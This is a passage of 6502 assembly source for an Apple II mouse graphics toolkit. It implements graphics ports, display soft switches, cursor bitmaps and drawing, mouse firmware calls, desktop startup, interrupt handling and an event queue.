.repeat kMaxFontHeight, line
.byte >.ident (.sprintf ("masked_blit_line_%d", line))
.endrepeat
.endproc ; DrawTextImpl
;;; ============================================================
low_zp_stash_buffer:
poly_maxima_yh_table:
.res 16
poly_maxima_x_frach:
.res 16
poly_maxima_x_fracl:
.res 16
poly_maxima_xl_table:
.res 16
poly_maxima_xh_table:
.res 16
;;; ============================================================
;;; InitGraf
.proc InitGrafImpl
lda #$71 ; %0001 lo nibble = HiRes, Page 1, Full, Graphics
sta $82 ; (why is high nibble 7 ???)
jsr SetSwitchesImpl
;; Initialize port
ldx #.sizeof(MGTK::GrafPort)-1
loop: lda standard_port,x
sta $8A,x
sta current_grafport,x
dex
bpl loop
ldax #saved_port
jsr assign_and_prepare_port
lda #$7F
sta fill_eor_mask
jsr PaintRectImpl
lda #$00
sta fill_eor_mask
rts
.endproc ; InitGrafImpl
;;; ============================================================
;;; SetSwitches
;;; 1 byte param, copied to $82
;;; Toggle display softswitches
;;; bit 0: LoRes if clear, HiRes if set
;;; bit 1: Page 1 if clear, Page 2 if set
;;; bit 2: Full screen if clear, split screen if set
;;; bit 3: Graphics if clear, text if set
.proc SetSwitchesImpl
PARAM_BLOCK params, $82
switches .byte
END_PARAM_BLOCK
lda DHIRESON ; enable dhr graphics
sta SET80VID
ldx #3
loop: lsr params::switches ; shift low bit into carry
lda table,x
rol a
tay ; y = table[x] * 2 + carry
bcs store
lda $C000,y ; why load vs. store ???
bcc :+
store: sta $C000,y
: dex
bpl loop
rts
table: .byte <(TXTCLR / 2), <(MIXCLR / 2), <(LOWSCR / 2), <(LORES / 2)
.endproc ; SetSwitchesImpl
;;; ============================================================
;;; SetPort
.proc SetPortImpl
ldax params_addr
FALL_THROUGH_TO assign_and_prepare_port
.endproc ; SetPortImpl
;; Call with port address in (X,A)
assign_and_prepare_port:
stax active_port
FALL_THROUGH_TO prepare_port
;; Initializes font (if needed), port, pattern, and fill mode
prepare_port:
lda current_textfont+1
beq :+ ; only prepare font if necessary
jsr SetFontImpl::prepare_font
: jsr SetPortBitsImpl
jsr SetPatternImpl
jmp SetPenModeImpl
;;; ============================================================
;;; GetPort
.proc GetPortImpl
jsr ApplyPortToActivePort
ldax active_port
FALL_THROUGH_TO store_xa_at_params
.endproc ; GetPortImpl
;; Store result (X,A) at params
store_xa_at_params:
ldy #0
;; Store result (X,A) at params+Y
store_xa_at_y:
sta (params_addr),y
txa
iny
sta (params_addr),y
rts
;;; ============================================================
;;; InitPort
.proc InitPortImpl
ldy #.sizeof(MGTK::GrafPort)-1 ; Store 36 bytes at params
loop: lda standard_port,y
sta (params_addr),y
dey
bpl loop
.endproc ; InitPortImpl
rts3: rts
;;; ============================================================
;;; SetZP1
;;; 1 byte of params, copied to $82
.proc SetZP1Impl
PARAM_BLOCK params, $82
flag .byte
END_PARAM_BLOCK
lda params::flag
cmp preserve_zp_flag
beq :+
sta preserve_zp_flag
: rts
.endproc ; SetZP1Impl
;;; ============================================================
;;; SetZP2
;;; 1 byte of params, copied to $82
;;; If high bit set stash ZP $00-$43 to buffer if not already stashed.
;;; If high bit clear unstash ZP $00-$43 from buffer if not already unstashed.
.proc SetZP2Impl
PARAM_BLOCK params, $82
flag .byte
END_PARAM_BLOCK
lda params::flag
cmp low_zp_stash_flag
beq rts3
sta low_zp_stash_flag
bcc unstash
maybe_stash:
bit low_zp_stash_flag
bpl end
;; Copy buffer to ZP $00-$43
stash: COPY_BYTES $44, low_zp_stash_buffer, $00
end: rts
maybe_unstash:
bit low_zp_stash_flag
bpl end
;; Copy ZP $00-$43 to buffer
unstash:
COPY_BYTES $44, $00, low_zp_stash_buffer
rts
.endproc ; SetZP2Impl
maybe_stash_low_zp := SetZP2Impl::maybe_stash
maybe_unstash_low_zp := SetZP2Impl::maybe_unstash
;;; ============================================================
;;; Version
.proc VersionImpl
ldy #5 ; Store 6 bytes at params
loop: lda version,y
sta (params_addr),y
dey
bpl loop
rts
.params version
major: .byte 1 ; 1.1.0
minor: .byte 1
patch: .byte 0
status: .byte 'A' ; A = Alpha, B = Beta, F = Final
release:.byte 1 ; ???
.byte 0 ; ???
.endparams
.endproc ; VersionImpl
;;; ============================================================
preserve_zp_flag: ; if high bit set, ZP saved during MGTK calls
.byte $80
low_zp_stash_flag:
.byte $80
stack_ptr_stash:
.byte 0
;;; ============================================================
;;; Standard GrafPort
.params standard_port
viewloc: .word 0, 0
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
maprect: .word 0, 0, kScreenWidth-1, kScreenHeight-1
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
penloc: .word 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte 0
textback: .byte MGTK::textbg_black
textfont: .addr 0
REF_GRAFPORT_MEMBERS
.endparams
;;; ============================================================
.params saved_port
viewloc: .word 0, 0
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
maprect: .word 0, 0, kScreenWidth-1, kScreenHeight-1
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
penloc: .word 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte 0
textback: .byte MGTK::textbg_black
textfont: .addr 0
REF_GRAFPORT_MEMBERS
.endparams
active_saved: ; saved copy of $F4...$FF when ZP swapped
.addr saved_port
.res 10, 0
zp_saved: ; top half of ZP for when preserve_zp_flag set
.res 128, 0
;; cursor shown/hidden flags/counts
cursor_flag: ; high bit clear if cursor drawn, set if not drawn
.byte 0
cursor_count:
.byte $FF ; decremented on hide, incremented on shown; 0 = visible
DEFINE_POINT cursor_pos, 0, 0
mouse_state:
mouse_x: .word 0
mouse_y: .word 0
mouse_status: .byte 0 ; bit 7 = is down, bit 6 = was down, still down
mouse_scale_x: .byte $00
mouse_scale_y: .byte $00
mouse_hooked_flag: ; High bit set if mouse is "hooked", and calls
.byte 0 ; bypassed; never appears to be set.
mouse_hook:
.addr 0
cursor_hotspot_x: .byte $00
cursor_hotspot_y: .byte $00
cursor_mod7:
.res 1
cursor_bits:
.res 3
cursor_mask:
.res 3
cursor_savebits:
.res 3*MGTK::cursor_height ; Saved 3 screen bytes per row.
cursor_data:
.res 4 ; Saved values of cursor_char..cursor_y2.
pointer_cursor:
PIXELS ".............."
PIXELS ".#............"
PIXELS ".##..........."
PIXELS ".###.........."
PIXELS ".####........."
PIXELS ".#####........"
PIXELS ".######......."
PIXELS ".#.##........."
PIXELS "....##........"
PIXELS "....##........"
PIXELS ".....##......."
PIXELS ".............."
PIXELS "##............"
PIXELS "###..........."
PIXELS "####.........."
PIXELS "#####........."
PIXELS "######........"
PIXELS "#######......."
PIXELS "########......"
PIXELS "########......"
PIXELS "#######......."
PIXELS "...####......."
PIXELS "....####......"
PIXELS "....####......"
.byte 1,1
ibeam_cursor:
PIXELS ".............."
PIXELS ".##...##......"
PIXELS "...#.#........"
PIXELS "....#........."
PIXELS "....#........."
PIXELS "....#........."
PIXELS "....#........."
PIXELS "....#........."
PIXELS "...#.#........"
PIXELS ".##...##......"
PIXELS ".............."
PIXELS ".............."
PIXELS ".##...##......"
PIXELS "####.####....."
PIXELS ".#######......"
PIXELS "...###........"
PIXELS "...###........"
PIXELS "...###........"
PIXELS "...###........"
PIXELS "...###........"
PIXELS ".#######......"
PIXELS "####.####....."
PIXELS ".##...##......"
PIXELS ".............."
.byte 4,5
watch_cursor:
PIXELS ".............."
PIXELS "..#######....."
PIXELS "..#######....."
PIXELS ".#.......#...."
PIXELS ".#....#..#...."
PIXELS ".#..##...##..."
PIXELS ".#.......#...."
PIXELS ".#.......#...."
PIXELS "..#######....."
PIXELS "..#######....."
PIXELS ".............."
PIXELS ".............."
PIXELS "..#######....."
PIXELS ".#########...."
PIXELS ".#########...."
PIXELS "###########..."
PIXELS "###########..."
PIXELS "############.."
PIXELS "###########..."
PIXELS "###########..."
PIXELS ".#########...."
PIXELS ".#########...."
PIXELS "..#######....."
PIXELS ".............."
.byte 5,5
system_cursor_table_lo: .byte <pointer_cursor, <ibeam_cursor, <watch_cursor
system_cursor_table_hi: .byte >pointer_cursor, >ibeam_cursor, >watch_cursor
.proc SetPointerCursor
ldx #$FF
stx cursor_count
inx
stx cursor_flag
lda #<pointer_cursor
sta params_addr
lda #>pointer_cursor
sta params_addr+1
FALL_THROUGH_TO SetCursorImpl
.endproc ; SetPointerCursor
;;; ============================================================
;;; SetCursor
.proc SetCursorImpl
php
sei
;; SystemCursor?
lda params_addr+1
bne :+
ldx params_addr
lda system_cursor_table_lo-1,x
sta params_addr
lda system_cursor_table_hi-1,x
sta params_addr+1
:
ldax params_addr
stax active_cursor
addax8 #MGTK::Cursor::mask
stax active_cursor_mask
ldy #MGTK::Cursor::hotspot
lda (params_addr),y
sta cursor_hotspot_x
iny
lda (params_addr),y
sta cursor_hotspot_y
jsr RestoreCursorBackground
jsr DrawCursor
plp
.endproc ; SetCursorImpl
srts: rts
cursor_bytes := $82
cursor_softswitch := $83
cursor_y1 := $84
cursor_y2 := $85
vid_ptr := $88
.proc UpdateCursor
lda cursor_count ; hidden? if so, skip
bne srts
bit cursor_flag
bmi srts
FALL_THROUGH_TO DrawCursor
.endproc ; UpdateCursor
.proc DrawCursor
lda #0
sta cursor_count
sta cursor_flag
lda cursor_pos::ycoord
clc
sbc cursor_hotspot_y
sta cursor_y1
clc
adc #MGTK::cursor_height
sta cursor_y2
lda cursor_pos::xcoord
sec
sbc cursor_hotspot_x
tax
lda cursor_pos::xcoord+1
sbc #0
bpl :+
txa ; X-coord is negative: X-reg = X-coord + 256
ror a ; Will shift in zero: X-reg = X-coord/2 + 128
tax ; Negative mod7 table starts at 252 (since 252%7 = 0), and goes backwards
ldy mod7_table+252-128,x ; Index (X-coord / 2 = X-reg - 128) relative to mod7_table+252
lda #$FF ; Char index = -1
bmi set_divmod
: jsr DivMod7
set_divmod:
sta cursor_bytes ; char index in line
tya
rol a
cmp #7
bcc :+
sbc #7
: tay
lda #<LOWSCR/2
rol a ; if mod >= 7, then will be HISCR, else LOWSCR
eor #1
sta cursor_softswitch ; $C0xx softswitch index
sty cursor_mod7
copylohi shift_table_main_low,y, shift_table_main_high,y, cursor_shift_main_addr
copylohi shift_table_aux_low,y, shift_table_aux_high,y, cursor_shift_aux_addr
ldx #3
: lda cursor_bytes,x
sta cursor_data,x
dex
bpl :-
ldx #$17
stx left_bytes
ldx #$23
ldy cursor_y2
dloop: cpy #192
bcc :+
jmp drnext
: lda hires_table_lo,y
sta vid_ptr
lda hires_table_hi,y
ora #$20
sta vid_ptr+1
sty cursor_y2
stx left_mod14
ldy left_bytes
ldx #$01
:
active_cursor := * + 1
lda $FFFF,y
sta cursor_bits,x
active_cursor_mask := * + 1
lda $FFFF,y
sta cursor_mask,x
dey
dex
bpl :-
lda #0
sta cursor_bits+2
sta cursor_mask+2
ldy cursor_mod7
beq no_shift
ldy #5
: ldx cursor_bits-1,y
cursor_shift_main_addr := * + 1
ora $FF80,x
sta cursor_bits,y
cursor_shift_aux_addr := * + 1
lda $FF00,x
dey
bne :-
sta cursor_bits
no_shift:
ldx left_mod14
ldy cursor_bytes
lda cursor_softswitch
jsr SetSwitch
bcs :+
lda (vid_ptr),y
sta cursor_savebits,x
lda cursor_mask
ora (vid_ptr),y
eor cursor_bits
sta (vid_ptr),y
dex
:
jsr SwitchPage
bcs :+
lda (vid_ptr),y
sta cursor_savebits,x
lda cursor_mask+1
ora (vid_ptr),y
eor cursor_bits+1
sta (vid_ptr),y
dex
:
jsr SwitchPage
bcs :+
lda (vid_ptr),y
sta cursor_savebits,x
lda cursor_mask+2
ora (vid_ptr),y
eor cursor_bits+2
sta (vid_ptr),y
dex
:
ldy cursor_y2
drnext:
dec left_bytes
dec left_bytes
dey
cpy cursor_y1
beq lowscr_rts
jmp dloop
.endproc ; DrawCursor
drts: rts
active_cursor := DrawCursor::active_cursor
active_cursor_mask := DrawCursor::active_cursor_mask
.proc RestoreCursorBackground
lda cursor_count ; already hidden?
bne drts
bit cursor_flag
bmi drts
COPY_BYTES 4, cursor_data, cursor_bytes
ldx #$23
ldy cursor_y2
cloop: cpy #192
bcs cnext
lda hires_table_lo,y
sta vid_ptr
lda hires_table_hi,y
ora #$20
sta vid_ptr+1
sty cursor_y2
ldy cursor_bytes
lda cursor_softswitch
jsr SetSwitch
bcs :+
lda cursor_savebits,x
sta (vid_ptr),y
dex
:
jsr SwitchPage
bcs :+
lda cursor_savebits,x
sta (vid_ptr),y
dex
:
jsr SwitchPage
bcs :+
lda cursor_savebits,x
sta (vid_ptr),y
dex
:
ldy cursor_y2
cnext: dey
cpy cursor_y1
bne cloop
.endproc ; RestoreCursorBackground
lowscr_rts:
sta LOWSCR
rts
.proc SwitchPage
lda set_switch_sta_addr
eor #1
cmp #<LOWSCR
beq SetSwitch
iny
FALL_THROUGH_TO SetSwitch
.endproc ; SwitchPage
.proc SetSwitch
sta switch_sta_addr
switch_sta_addr := *+1
sta $C0FF
cpy #$28
rts
.endproc ; SetSwitch
set_switch_sta_addr := SetSwitch::switch_sta_addr
;;; ============================================================
;;; ShowCursor
.proc ShowCursorImpl
php
sei
lda cursor_count
beq done
inc cursor_count
bmi done
beq :+
dec cursor_count
: bit cursor_flag
bmi done
jsr DrawCursor
done: plp
rts
.endproc ; ShowCursorImpl
;;; ============================================================
;;; ObscureCursor
.proc ObscureCursorImpl
php
sei
jsr RestoreCursorBackground
lda #$80
sta cursor_flag
plp
rts
.endproc ; ObscureCursorImpl
;;; ============================================================
;;; HideCursor
.proc HideCursorImpl
php
sei
jsr RestoreCursorBackground
dec cursor_count
plp
.endproc ; HideCursorImpl
mrts: rts
;;; ============================================================
cursor_throttle:
.byte 0
.proc MoveCursor
bit use_interrupts
bpl :+
lda kbd_mouse_state
bne :+
dec cursor_throttle
lda cursor_throttle
bpl mrts
lda #2
sta cursor_throttle
:
;; --------------------------------------------------
bit no_mouse_flag
bmi :+
jsr ReadMousePos
: bit no_mouse_flag
bpl :+
lda #0
sta mouse_status
: lda kbd_mouse_state
beq :+
jsr HandleKeyboardMouse
:
;; --------------------------------------------------
ldx #2
: lda mouse_x,x
cmp cursor_pos,x
bne mouse_moved
dex
bpl :-
bmi no_move
;; --------------------------------------------------
mouse_moved:
jsr RestoreCursorBackground
ldx #2
stx cursor_flag
: lda mouse_x,x
sta cursor_pos,x
dex
bpl :-
jsr UpdateCursor
no_move:
.endproc ; MoveCursor
rts4: rts
;;; ============================================================
.proc ReadMousePos
ldy #READMOUSE
jsr CallMouse
bit mouse_hooked_flag
bmi do_scale_x
ldx mouse_firmware_hi
lda MOUSE_X_LO->$C000,x
sta mouse_x
lda MOUSE_X_HI->$C000,x
sta mouse_x+1
lda MOUSE_Y_LO->$C000,x
sta mouse_y
;; Scale X
do_scale_x:
ldy mouse_scale_x
beq do_scale_y
: asl mouse_x
rol mouse_x+1
dey
bne :-
;; Scale Y
do_scale_y:
ldy mouse_scale_y
beq done_scaling
lda mouse_y
: asl a
dey
bne :-
sta mouse_y
done_scaling:
bit mouse_hooked_flag
bmi done
lda MOUSE_STATUS->$C000,x
sta mouse_status
done: rts
.endproc ; ReadMousePos
;;; ============================================================
;;; GetCursorAdr
.proc GetCursorAdrImpl
ldax active_cursor
jmp store_xa_at_params
.endproc ; GetCursorAdrImpl
;;; ============================================================
;;; Inputs: Y = routine
;;; NOTE: C does not reflect call result
.proc CallMouseWithROMBankedIn
;; Mouse firmware inspects ROM `VERSION` byte
bit RDLCRAM
php
bit ROMIN2 ; Bank ROM in unconditionally
jsr CallMouse
plp
IF_NS
bit LCBANK1 ; Bank RAM back in if needed
bit LCBANK1
END_IF
rts
.endproc ; CallMouseWithROMBankedIn
;;; ============================================================
;; Call mouse firmware, kOperation in Y, param in A
.proc CallMouse
proc_ptr := $88
bit no_mouse_flag
bmi rts4
bit mouse_hooked_flag
bmi hooked
pha
ldx mouse_firmware_hi
stx proc_ptr+1
lda #$00
sta proc_ptr
lda (proc_ptr),y
sta proc_ptr
pla
ldy mouse_operand
jmp (proc_ptr)
hooked: jmp (mouse_hook)
.endproc ; CallMouse
;;; Init parameters
machid: .byte 0
subid: .byte 0
op_sys: .byte $00
slot_num:
.byte $00
use_interrupts:
.byte $00
always_handle_irq:
.byte $00
savebehind_size:
.res 2
savebehind_usage:
.res 2
desktop_initialized_flag:
.byte 0
save_p_reg:
.byte $00
;;; ============================================================
;;; StartDeskTop
;;; 12 bytes of params, copied to $82
.proc StartDeskTopImpl
PARAM_BLOCK params, $82
machine .byte
subid .byte
op_sys .byte
slot_num .byte
use_irq .byte
sysfontptr .addr
savearea .addr
savesize .word
END_PARAM_BLOCK
php
pla
sta save_p_reg
COPY_BYTES 5, params::machine, machid
lda #$7F
sta standard_port::textback
copy16 params::sysfontptr, standard_port::textfont
copy16 params::savearea, savebehind_buffer
copy16 params::savesize, savebehind_size
jsr SetIRQMode
jsr SetOpSys
ldy #MGTK::Font::height
lda (params::sysfontptr),y
tax
stx sysfont_height
dex
dex
dex
stx goaway_height ; goaway height = font height - 3
tax
inx
inx
stx hilite_menu_rect + MGTK::Rect::y2 ; menu bar height = font height + 2
inx
stx wintitle_height ; win title height = font height + 3
stx menu_bar_rect + MGTK::Rect::y2
stx menu_hittest_rect + MGTK::Rect::y1
stx menu_fill_rect + MGTK::Rect::y1
inx ; font height + 4: top of desktop area
stx set_port_top
stx winframe_top
stx desktop_mapinfo+MGTK::MapInfo::viewloc+MGTK::Point::ycoord
stx desktop_mapinfo+MGTK::MapInfo::maprect+MGTK::Rect::y1
stx menu_item_y_table
dex
dex
clc
ldy #$00
: txa
adc menu_item_y_table,y
iny
sta menu_item_y_table,y
cpy #MGTK::max_menu_items
bcc :-
ldx #0
stx mouse_scale_y
inx
stx mouse_scale_x
bit subid
bvs :+
;; Per Technical Note: Apple IIc #1: Mouse Differences on IIe and IIc
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/aiic/tn.aiic.1.html
stx mouse_scale_y
inx ; default scaling for IIc/IIc+
stx mouse_scale_x
:
ldx slot_num
jsr FindMouse
bit slot_num
bpl found_mouse
txa
bne :+
EXIT_CALL MGTK::Error::no_mouse
: lda slot_num
and #$7F
beq found_mouse
cpx slot_num
beq found_mouse
EXIT_CALL $91
found_mouse:
stx slot_num
lda #$80
sta desktop_initialized_flag
ldy slot_num
bne no_mouse
bit use_interrupts
bpl no_mouse
asl
sta use_interrupts
no_mouse:
ldy #params::slot_num - params
lda slot_num
sta (params_addr),y
iny
lda use_interrupts
sta (params_addr),y
bit use_interrupts
bpl no_irq
bit op_sys
bpl no_irq
MLI_CALL ALLOC_INTERRUPT, alloc_interrupt_params
no_irq:
ldy #SETMOUSE
lda #1
bit use_interrupts
bpl :+
cli
ora #8
:
jsr CallMouseWithROMBankedIn ; ensure `VERSION` is accurate
jsr InitGrafImpl
jsr SetPointerCursor
jsr FlushEventsImpl
lda #0
sta current_window+1
reset_desktop:
jsr SaveParamsAndStack
jsr SetDesktopPort
;; TODO: Consider clearing `KBDSTRB` to avoid lingering keypresses.
;; Fills the desktop background on startup (menu left black)
MGTK_CALL MGTK::SetPattern, desktop_pattern
MGTK_CALL MGTK::PaintRect, desktop_mapinfo+MGTK::MapInfo::maprect
jmp RestoreParamsActivePort
.endproc ; StartDeskTopImpl
DEFINE_ALLOC_INTERRUPT_PARAMS alloc_interrupt_params, InterruptHandler
DEFINE_DEALLOC_INTERRUPT_PARAMS dealloc_interrupt_params
.proc SetIRQMode
lda #0
sta always_handle_irq
lda use_interrupts
beq irts
ldy #$80
cmp #1
beq irq_on
cmp #3
bne irq_err
sty always_handle_irq
irq_on:
sty use_interrupts
irts: rts
irq_err:
EXIT_CALL MGTK::Error::invalid_irq_setting
.endproc ; SetIRQMode
.proc SetOpSys
lda op_sys
beq is_prodos
lsr
beq is_pascal
EXIT_CALL MGTK::Error::invalid_op_sys
is_prodos:
lda #$80
sta op_sys
is_pascal:
rts
.endproc ; SetOpSys
;;; ============================================================
;;; StopDeskTop
.proc StopDeskTopImpl
ldy #SETMOUSE
lda #MOUSE_MODE_OFF
jsr CallMouse
ldy #SERVEMOUSE
jsr CallMouse
bit use_interrupts
bpl :+
bit op_sys
bpl :+
lda alloc_interrupt_params::int_num
sta dealloc_interrupt_params::int_num
MLI_CALL DEALLOC_INTERRUPT, dealloc_interrupt_params
:
lda save_p_reg
pha
plp
lda #0
sta desktop_initialized_flag
rts
.endproc ; StopDeskTopImpl
;;; ============================================================
;;; SetUserHook
;;; 3 bytes of params, copied to $82
before_events_hook := before_events_hook_jmp + 1
after_events_hook := after_events_hook_jmp + 1
.proc SetUserHookImpl
PARAM_BLOCK params, $82
hook_id .byte
routine_ptr .addr
END_PARAM_BLOCK
lda params::hook_id
cmp #1
bne :+
lda params::routine_ptr+1
bne clear_before_events_hook
sta before_events_hook+1
lda params::routine_ptr
sta before_events_hook
rts
: cmp #2
bne invalid_hook
lda params::routine_ptr+1
bne clear_after_events_hook
sta after_events_hook+1
lda params::routine_ptr
sta after_events_hook
rts
clear_before_events_hook:
lda #0
sta before_events_hook
sta before_events_hook+1
rts
clear_after_events_hook:
lda #0
sta after_events_hook
sta after_events_hook+1
rts
invalid_hook:
EXIT_CALL MGTK::Error::invalid_hook
.endproc ; SetUserHookImpl
.proc CallBeforeEventsHook
lda before_events_hook+1
beq :+
jsr SaveParamsAndStack
jsr before_events_hook_jmp
php
jsr RestoreParamsActivePort
plp
: rts
.endproc ; CallBeforeEventsHook
before_events_hook_jmp:
jmp $0000
.proc CallAfterEventsHook
lda after_events_hook+1
beq :+
jsr SaveParamsAndStack
jsr after_events_hook_jmp
php
jsr RestoreParamsActivePort
plp
: rts
.endproc ; CallAfterEventsHook
after_events_hook_jmp:
jmp $0000
params_addr_save:
.res 2
stack_ptr_save:
.res 1
.proc HideCursorSaveParams
jsr HideCursorImpl
FALL_THROUGH_TO SaveParamsAndStack
.endproc ; HideCursorSaveParams
.proc SaveParamsAndStack
copy16 params_addr, params_addr_save
lda stack_ptr_stash
sta stack_ptr_save
lsr preserve_zp_flag
rts
.endproc ; SaveParamsAndStack
.proc ShowCursorAndRestore
jsr ShowCursorImpl
FALL_THROUGH_TO RestoreParamsActivePort
.endproc ; ShowCursorAndRestore
.proc RestoreParamsActivePort
asl preserve_zp_flag
copy16 params_addr_save, params_addr
ldax active_port
FALL_THROUGH_TO SetAndPreparePort
.endproc ; RestoreParamsActivePort
.proc SetAndPreparePort
stax $82
lda stack_ptr_save
sta stack_ptr_stash
ldy #.sizeof(MGTK::GrafPort)-1
: lda ($82),y
sta current_grafport,y
dey
bpl :-
jmp prepare_port
.endproc ; SetAndPreparePort
.proc SetStandardPort
ldax #standard_port
bne SetAndPreparePort ; always
.endproc ; SetStandardPort
.proc SetDesktopPort
jsr SetStandardPort
MGTK_CALL MGTK::SetPortBits, desktop_mapinfo
rts
.endproc ; SetDesktopPort
.params desktop_mapinfo
;; `viewloc` and `maprect` initialized by `StartDeskTopImpl`
DEFINE_POINT viewloc, 0, 13
mapbits: .word $2000
mapwidth: .byte $80
reserved: .res 1
DEFINE_RECT maprect, 0, 0, kScreenWidth-1, kScreenHeight-1
REF_MAPINFO_MEMBERS
.endparams
desktop_pattern:
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
checkerboard_pattern:
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
;;; ============================================================
;;; AttachDriver
;;; 2 bytes of params, copied to $82
.proc AttachDriverImpl
PARAM_BLOCK params, $82
hook .addr
mouse_state .word
END_PARAM_BLOCK
bit desktop_initialized_flag
bmi fail
copy16 params::hook, mouse_hook
ldax #mouse_state
ldy #2
jmp store_xa_at_y
fail: EXIT_CALL MGTK::Error::desktop_already_initialized
.endproc ; AttachDriverImpl
;;; ============================================================
;;; PeekEvent
.proc PeekEventImpl
clc
.byte OPC_BCS ; mask next byte (sec)
FALL_THROUGH_TO GetEventImpl
.endproc ; PeekEventImpl
;;; ============================================================
;;; GetEvent
.proc GetEventImpl
sec ; masked if `PeekEvent` is called
php
bit use_interrupts
bpl :+
sei
bmi no_check
: jsr CheckEventsImpl
no_check:
jsr NextEvent
bcs no_event
plp
php
bcc :+ ; skip advancing tail mark if in peek mode
sta eventbuf_tail
: tax
ldy #0 ; Store 5 bytes at params
: lda eventbuf,x
sta (params_addr),y
inx
iny
cpy #4
bne :-
lda #0
sta (params_addr),y
beq ret
no_event:
jsr ReturnMoveEvent
ret: plp
bit use_interrupts
bpl :+
cli
: rts
.endproc ; GetEventImpl
;;; ============================================================
;;; 5 bytes of params, copied to $82
.proc PostEventImpl
PARAM_BLOCK params, $82
kind .byte
xcoord .word ; also used for key/modifiers/window id
ycoord .word
END_PARAM_BLOCK
php
sei
lda params::kind
bmi event_ok
cmp #MGTK::EventKind::update
bcs bad_event
cmp #MGTK::EventKind::key_down
beq event_ok
ldx params::xcoord
ldy params::xcoord+1
lda params::ycoord
jsr SetMouseCoords
jsr SetMousePos
event_ok:
jsr PutEvent
bcs no_room
tax
ldy #0
: lda (params_addr),y
sta eventbuf,x
inx
iny
cpy #MGTK::short_event_size
bne :-
plp
rts
bad_event:
lda #MGTK::Error::invalid_event
bmi error_return
no_room:
lda #MGTK::Error::event_queue_full
error_return:
plp
jmp exit_with_a
.endproc ; PostEventImpl
;; Return a no_event (if mouse up) or drag event (if mouse down)
;; and report the current mouse position.
.proc ReturnMoveEvent
lda #MGTK::EventKind::no_event
.assert MGTK::EventKind::no_event = 0, error, "MGTK::EventKind::no_event is not zero"
tay
bit mouse_status
bpl :+
lda #MGTK::EventKind::drag
: sta (params_addr),y ; Store 5 bytes at params
iny
: lda cursor_pos-1,y
sta (params_addr),y
iny
cpy #MGTK::event_size
bne :-
rts
.endproc ; ReturnMoveEvent
;;; ============================================================
;;; CheckEvents
.params input
state: .byte 0
key := *
kmods := * + 1
xpos := *
ypos := * + 2
modifiers := * + 3
.res 4, 0
.endparams
.proc CheckEventsImpl
bit use_interrupts
bpl irq_entry
EXIT_CALL MGTK::Error::irq_in_use
irq_entry:
sec ; called from interrupt handler
jsr CallBeforeEventsHook
bcc end
lda BUTN1 ; Look at buttons (apple keys), compute modifiers
asl a
lda BUTN0
and #$80
rol a
rol a
sta input::modifiers
jsr ActivateKeyboardMouse ; check if keyboard mouse should be started
jsr MoveCursor
lda mouse_status ; bit 7 = is down, bit 6 = was down, still down
asl a
eor mouse_status
bmi :+ ; minus = (is down & !was down)
bcs end ; minus = is down
bit check_kbd_flag
bpl :+
lda kbd_mouse_state
bne :+
lda KBD
bpl end ; no key
and #CHAR_MASK
sta input::key
bit KBDSTRB ; clear strobe
lda input::modifiers
sta input::kmods
lda #MGTK::EventKind::key_down
sta input::state
bne put_key_event ; always
: bcc up
lda input::modifiers
beq :+
lda #MGTK::EventKind::apple_key
bne set_state
: lda #MGTK::EventKind::button_down
bne set_state
up: bit mouse_status
bvc end
lda #MGTK::EventKind::button_up
set_state:
sta input::state
COPY_BYTES 3, cursor_pos, input::key
put_key_event:
jsr PutEvent
tax
ldy #0
: lda input,y
sta eventbuf,x
inx
iny
cpy #MGTK::short_event_size
bne :-
end: jmp CallAfterEventsHook
.endproc ; CheckEventsImpl
;;; ============================================================
;;; Interrupt Handler
int_stash_zp:
.res 9, 0
int_stash_rdpage2:
.byte 0
int_stash_rd80store:
.byte 0
.proc InterruptHandler
cld ; required for interrupt handlers
body: ; returned by GetIntHandler
lda RDPAGE2 ; record softswitch state
sta int_stash_rdpage2
lda RD80STORE
sta int_stash_rd80store
lda LOWSCR
sta SET80STORE
COPY_BYTES 9, $82, int_stash_zp ; preserve 9 bytes of ZP
ldy #SERVEMOUSE
jsr CallMouse
bcs :+
jsr CheckEventsImpl::irq_entry
clc
: bit always_handle_irq
bpl :+
clc ; carry clear if interrupt handled
: COPY_BYTES 9, int_stash_zp, $82 ; restore ZP
lda LOWSCR ; restore soft switches
sta CLR80STORE
lda int_stash_rdpage2
bpl :+
lda HISCR
: lda int_stash_rd80store
bpl :+
sta SET80STORE
: rts
.endproc ; InterruptHandler
;;; ============================================================
;;; GetIntHandler
.proc GetIntHandlerImpl
ldax #InterruptHandler::body
jmp store_xa_at_params
.endproc ; GetIntHandlerImpl
;;; ============================================================
;;; FlushEvents
;;; This is called during init by the DAs, just before
;;; entering the input loop.
eventbuf_tail: .byte 0
eventbuf_head: .byte 0
kEventBufSize = 33 ; max # of events in queue
eventbuf:
.scope eventbuf
kind := *
key := *+1
modifiers := *+2
window_id := *+1
.endscope ; eventbuf
.res kEventBufSize*MGTK::short_event_size
.proc FlushEventsImpl
php
sei
lda #0
sta eventbuf_tail
sta eventbuf_head
;; TODO: Consider clearing `KBDSTRB` to avoid a race where the
;; keypress hasn't been seen yet when `FlushEvents` is called.
plp
rts
.endproc ; FlushEventsImpl
;; called during PostEvent and a few other places
.proc PutEvent
lda eventbuf_head
cmp #(kEventBufSize-1)*MGTK::short_event_size
bne :+ ; if head is not at end, advance
lda #-MGTK::short_event_size & 255
; otherwise reset and then add
: clc
adc #MGTK::short_event_size
cmp eventbuf_tail ; did head catch up with tail?
beq rts_with_carry_set
sta eventbuf_head ; nope, maybe next time
clc
.endproc ; PutEvent
rts_with_carry_set:
rts
;; called during GetEvent
.proc NextEvent
lda eventbuf_tail ; equal?
cmp eventbuf_head
beq rts_with_carry_set
cmp #$80
bne :+
lda #-MGTK::short_event_size & 255
: clc
adc #MGTK::short_event_size
clc
rts
.endproc ; NextEvent
;;; ============================================================
;;; SetKeyEvent
